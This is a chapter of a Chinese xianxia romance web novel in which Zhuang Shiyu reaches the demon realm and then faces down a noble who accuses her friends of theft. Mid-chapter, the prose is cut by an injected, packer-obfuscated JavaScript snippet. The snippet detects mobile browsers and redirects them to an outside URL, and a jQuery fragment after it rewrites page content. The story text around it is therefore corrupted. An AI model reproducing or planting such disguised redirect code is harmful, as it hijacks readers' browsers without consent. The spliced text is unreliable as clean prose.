西境。
和南城的阴暗不同,整个西境都弥漫着祥和的气息。
甫一落地,庄时雨浑身的毛孔都自发地张开,贪婪地吸食着周边纯净的灵力。
在南城呆的时间太久,丹田亏空得厉害,也幸好有以前积攒的灵石吊着,不然庄时雨怀疑自己要成为修士中第一个因为没有灵力修行修为倒退的人。
高大的树枝一层叠着一层,庄时雨仰头看着边关月带她穿梭其中,这是一片如同童话书般的梦幻森林,每一棵树都存在了上千年。
边关月察觉到庄时雨的目光,轻轻笑了一声:“你再这样看下去,我会怀疑你其实有力气自己下来飞行。”
庄时雨的脸“腾”地一红,结结巴巴地小声反驳:“也……也没有吧,睁眼睛的力气还是有的。”
边关月继续笑,头也不垂地望向更远的远方。
“是吗?”他的声音在庄时雨头顶响起,“这样的话那你抓牢了哦,我尽量在天黑前赶到。”
说完,在庄时雨的一声惊呼中,边关月蓦地加快了速度。
于是庄时雨不得不更紧地抱住边关月的身体,以此来确保自己不会从高空中跌落。
飒飒风声从耳边吹过,边关月说得不错,在太阳差一点被地平线淹没的那一刻,他们两人准时落地。
高大的城墙将这片领域团团围住,城墙之上哨所连绵,数十只兽身鹰翅的生物在上空盘旋。
能感受到这些兽身鹰翅的生物虎视眈眈的目光,边关月以指为哨,盘旋的生物停在城墙上,厚重的铁链闷声作响,城门吱呀开启。
庄时雨终于得以窥见里面的全貌。
没想到这城墙还是一方阵法,跨进城门之后的情况与在外面看见的情况截然不同。
外面一片荒原,里面确实热闹得很。
整片区域被崇山峻岭环绕,两排鳞次栉比的房屋组成街道,各种或人形或兽形的生物在其中叫卖。
街道后面,山林耸立,洞穴错落有致,连一根根高耸入云的树木上也建有房屋,翙翙鸟雀穿梭其中。
庄时雨吃惊地看着眼前的景象,边关月并不意外,留给庄时雨充足的时间观察后他才出声提醒:“感兴趣的话可以后面再来逛逛,今天的集市马上结束了,还是早点回去休息为好。”
话音刚落,一阵悠扬的鸟叫声蓦然响起,街道两旁的老板们仿佛得了某种号令,默契地开始收拾东西。
有收拾得快的人已走出限制范围,一弯腰,一跺脚便现出原形,各种各样的巨兽和猛禽在视线范围内伸展,场面一时诡异而刺激。
庄时雨目不转睛地盯着眼前的画面,边关月也不催,只是在这些妖兽有误伤庄时雨的迹象时提前施法拦住。
等这些妖兽都离开,庄时雨终于恋恋不舍移回目光。
边关月眉头微挑:“好看吗?”
庄时雨认认真真地回味了一遍刚刚的感觉,煞有介事地砸吧嘴点评:“还是第一次这么近距离看动物大迁徙呢,怪特别的……”
边关月莞尔,动作轻柔地帮庄时雨理顺她被风吹乱的头发,温声道:“喜欢看的话我们下次再找个时间特意去看,回去之后好好休息,不要再想其他事情了。”
庄时雨听话点头。
夜深。
明月洒照大地,如水月光静然流淌,烛火噼啪,青年男子与老者执子对弈。
老者苍老的声音慨然响起,言语中有种超出凡尘的平静:“你比我预想的要更快,她的消息有跟你父王说吗?”
“还没有,”青年眉眼淡淡,落下一子,看不出在想什么,“我还没告诉她真实情况。”
老者摇头,轻叹一口气:“你不在的这些时日,二殿下越发活跃,王上的身体每况日下,这件事还是要尽早确定下来,于你,于妖族,都是一件大事……”
青年何尝不知道这个道理,只是坦白可能带来的后果,还是让他有所迟疑。
老者一边捡起青年被他包围的棋子,一边感叹:“还是造化弄人……怎么偏偏那位就选择附身在人族身上,如果你愿意的话,明天可以把她叫到我这里,跟她做笔交易,我想她会愿意的……”
青年顿了顿,手中的棋子久久落不到棋盘上。
老者长声叹息:“世上安得两全法呀……”
一夜无梦。
整夜的休息让庄时雨罕见地神清气爽起来,全身的经脉都已复苏,庄时雨放肆地伸了一个懒腰,迎接属于自己的清晨。
她的住所在整个结界中心区域的西北角,竹林环绕,据边关月所言平日除维护外再无人进入,庄时雨也就懒得改造,只设置了一个结界,然后便悠闲地开始打五禽戏。
这还是和祝无忧一起相处时养成的习惯,几套下来,端的是大汗淋漓,身体也越发舒畅。
五禽戏还没打尽兴,门外便隐隐传来吵闹声,庄时雨无奈地叹了口气,施了一个清洁法术,然后往门口走去。
潇潇竹叶摩擦出悦耳的声音,庄时雨推开门,便看见门口针锋相对的两波人。
一边是身着华服声势浩大的贵族男女,一边是势单力薄却也不甘示弱的姐弟,见有人出来,两方人马齐刷刷地看向庄时雨。
清晨的阳光明亮却不刺眼,阳光下,少女的气质恣意而慵懒,就像懒洋洋晒着太阳的波斯猫,让人舍不得移开目光。
还是千音率先反应过来,他“刷”地一声蹭到庄时雨旁边,挽起庄时雨的手臂,亲昵开口:“仙女姐姐,你果然还活着,真的太好了!你不知道我们等你等得多苦,真的想死你了!”
杭如雪相比较就克制许多,虽然神色激动,却只是站在原地轻轻唤道:“时雨大师。”
其余的人你看着我我看着你,似乎不明白这突然出现的人是什么身份。
庄时雨戒备地看着眼前这群突然出现的人,为首的男女身着苍翠和碧绿衣衫,远远望去,倒像一对璧人。
只是这璧人终究是来者不善,见到庄时雨的反应,男子愉悦开口:“看来王兄的眼光也不怎么样嘛,还以为带了个雌性,原来也只是个人类。”
庄时雨还没有理解男子话里是什么意思,男子却已瞬移到她面前,一只手勾上她的下巴,一边诱惑她道:“人类,王兄许了你什么好处?我可以给你双倍,跟我走吧。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253902|187715||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浑身的鸡皮疙瘩在一瞬间同时立起,庄时雨几乎是本能地同时往后,没想到反而引来了男子的夸奖:“反应很快,倒是我小瞧你了。”
庄时雨咬了咬牙,尽量压制住自己的脾气道:“你到底是谁?”
“嘘,”男子将手指放在唇边比出一个噤声的手势,“现在不是好奇这个的时候,你的两位朋友刚刚偷了我的雌性的玉扳指,识相的话,就让他们自己交出来。”
庄时雨狐疑地顺着男子的视线看向被她护在身后的杭如雪和千音,两人正因为男子的污蔑涨红了脸。
“我可没偷,你不要含血喷人。”
“谁稀罕你个玉扳指了,本小姐要什么没有?”
两人的言语中是实打实的愤怒,男子却全然没有放在心上,他双手环胸直回身子,不急不慢地等待庄时雨的答案。
少女在他的注视下垂了眸,清晨的阳光清冷而明亮,却照不出她眸光中的情绪。
稍息之后,她重新抬起头,目光愈发坚定,站位也离杭如雪和千音更加近,她笃定开口:“我的朋友绝不会做这种事情。”
明明身份差距如此悬殊,此刻少女的脸上却无半点畏惧。
男子饶有兴趣地挑眉:“哦?你是想说我弄错了?”
庄时雨的脸上表情不变:“我只能肯定不是我的朋友们做的。”
男子嘴角勾起一抹冷笑,仿佛听到了世间最荒谬的笑话,毫不掩饰地轻嗤出声:“你的肯定值几个钱?”
眼见着事情逐渐发展得不受控制,最初提自己玉扳指丢失的女子连忙出来缓和局面。
“大人,算了,只是一个玉扳指而已,您对越姬的情谊,越姬都知晓的。”
她生得极美,眉如远山含烟,眼似秋水盈盈,唇若丹砂点染,举手投足间尽显万种风情。
便是如此,为了平息男子的怒火将手放在男子的胸口处轻拍,也别有一番滋味。
在越姬的安抚下,男子的情绪果然好转许多,虽然看向庄时雨等人的脸依然阴郁,先前的压迫感却已消失殆尽。
“既然越姬也不愿继续追究了,今日便放你们一码,下次手脚放干净点,别被我抓到,否则,绝不是这个下场。”
一番话彻底将庄时雨等人盖棺定论,仿佛他的不追究是天大的恩赐,千音恼火地想要上前理论,杭如雪也眼含愤怒。
庄时雨轻轻抬手,安抚已经暴怒的杭如雪和千音,同时抬高声音对着男子的背影微笑道:“大人就这样走了?你不想知道真正的小偷是谁吗?”
“你说你有办法找到真正的小偷?”
听到庄时雨的话,男子离开的脚步果然顿住,他狐疑转身,脸上写满对庄时雨的怀疑。
从这一瞬,胜利的天平不再倾向男子。
虽然是在回复男子,庄时雨却微笑地看向越姬,脸上是完美得无懈可击的笑容:“自然,你相信吗,越姬姑娘?”
越姬眼中闪过一丝慌乱,不明白庄时雨为什么要问她,她的笑容有些许勉强,但只是一瞬,转眼又绽放出无边风情。
“道友既然都这样说了,越姬自然相信。”